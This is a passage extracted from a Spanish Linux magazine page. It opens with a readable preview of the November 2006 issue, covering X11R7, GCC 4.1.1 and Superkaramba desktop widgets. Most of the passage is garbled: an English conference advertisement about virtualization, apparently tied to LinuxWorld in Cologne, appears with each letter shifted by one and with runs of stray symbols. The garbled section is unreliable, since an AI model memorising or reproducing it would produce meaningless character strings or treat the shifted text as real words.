diez años: aceleración para transparencias, transforma-
ciones de objetos aleatorios y más y mejor soporte de
hardware son sus principales cartas de presentación.
Todo esto y más en X11R7.
GCC 4.1.1La colección de compiladores GNU es la piedra
angular técnica del movimiento del software
libre. Disponible para todas la plataformas y
todos los lenguajes de programación,
revisaremos lo que hay de nuevo en las
versiones más recientes y veremos en qué
medida ha mejorado su rendimiento.
Taller SUPERKARAMBASi bien cambiar la imagen de fondo de la pantalla
es toda una proeza técnica para algunos, otros
llevan la personalización de sus escritorios mucho
más allá. Temas, widgets y applets dinámicos a
través de scripts Python, todo es posible con
Superkaramba.
A LA VENTA: OCTUBRE 2006
Noviembre 2006: Número 21
PRÓXIMO NÚMERO
8PSME�T�MFBEJOH�5SBEF�&WFOU�GPS�-JOVY�BOE�0QFO�4PVSDF�JO�CVTJOFTT*/5&3/"5*0/"-�.&%*"�410/403
'JSTU�*OUFSOBUJPOBM
7JSUVBMJ[BUJPO�$POGFSFODF��������/PWFNCFS �����
i�MJWF�JO�$PMPHOF �(FSNBOZ
DP�MPDBUFE�XJUI�-JOVY8PSME�$POGFSFODF���&YQP
XXX�MJOVYXPSMEFYQP�EF
i�BOE�MJWF�JO�ZPVS�PGGJDF
XJUI�WJEFP�TUSFBNJOH �QSFTFOUBUJPO�EPXOMPBET �BOE�DIBU�SPPNT
XXX�MJOVY�NBHB[JOF�DPN�WJSUVBMJ[BUJPO
'PVOEBUJPO�5FDIOPMPHJFT�BOE�1MBUGPSNT �
)BSEXBSF�BOE�4PGUXBSF
������������ ".%�7JSUVBMJ[BUJPO�5FDIOPMPHZ�
������������� 7JSUVBMJ[BUJPO�PO�
� *#.�108&3�4ZTUFNT�
������������� &OIBODJOH�9FO�XJUI�*OUFM�
� 7JSUVBMJ[BUJPO�5FDIOPMPHZ�*OUFM�75�
������������� &OUFSQSJTF�(SBEF�7JSUVBMJ[BUJPO�XJUI�� �
� 0QFO�4PVSDF�5FDIOPMPHJFT�
������������� -VODI�#SFBL �7JTJU�PG�UIF�
� 7JSUVBMJ[BUJPO�1BSL�
������������� 8JOEPXT�4FSWFS�WJSUVBMJ[BUJPO�� � �
� o�UIF�XIBU �IPX�BOE�XIZ�
������������� 7.XBSF�BOE�UIF�7JSUVBM�
� %BUB�$FOUFS�
������������� 4VOAT�"QQSPBDI�UP�7JSUVBMJ[BUJPO��� �
� ��GSPN�6TF�$BTFT�UP�5PPMT
.BOBHFNFOU�5PPMT�BOE�4FSWJDFT��
������������� /FX�EZOBNJD�.BJOGSBNF�4FSWJDFT�
������������� )1�T�6OJm�FE�*OGSBTUSVDUVSF�
� NBOBHFNFOU�DPWFSJOH�QIZTJDBM�� � �
� BOE�WJSUVBMJ[FE�TZTUFNT�
������������ *OUFHSBUFE�7JSUVBMJ[BUJPO���'SPN
� TFSWFS�CBTFE�DPNQVUJOH�UP�UIF��
� DPNQVUF�QPXFS�CBTFE�WJFX�PO�� � �
� ZPVS�EBUBDFOUFS�
������������� 7JSUVBMJ[BUJPO���"�OFX�XBZ�NBOBHJOH�� �
� XPSLMPBET�BOE�TFSWFST�
4UPSBHF�BOE�/FUXPSLT
������������� $POTPMJEBUJPO�PG�4UPSBHF�
� *OGSBTUSVDUVSFT�CZ�VTJOH�
� 7JSUVBMJ[BUJPO�4PMVUJPOT�
������������ /FUXPSL�*OGSBTUSVDUVSF�
� 7JSUVBMJ[BUJPO���PQUJPOT�BOE�
� JNQMFNFOUBUJPO�TDFOBSJPT�
������������� -VODI�#SFBL �7JTJU�PG�UIF�
� 7JSUVBMJ[BUJPO�1BSL�
*OOPWBUJPO
������������ 7JSUVBMJ[BUJPO�5FDIOPMPHZ�0VUMPPL�
������������� 7JSUVP[[P�o�04�-FWFM�7JSUVBMJ[BUJPO��
� BOE�Fõ�FDUJWF�NBOBHFNFOU�PG�
� 7JSUVBMJ[FE�%BUB�$FOUFST�
������������� 1BSBWJSUVBMJ[BUJPO�o�-BUFTU�
� *OOPWBUJPO�PS�%FBE�&OE�"QQSPBDI �
������������� 4VNNBSZ�
5VFTEBZ ����/PWFNCFS ����� 8FEOFTEBZ ����/PWFNCFS �����
i�5IF�1SPHSBN
#PPL�OPX�UP�HFU�
ZPVS�FBSMZ�CJSE�
EJTDPVOU�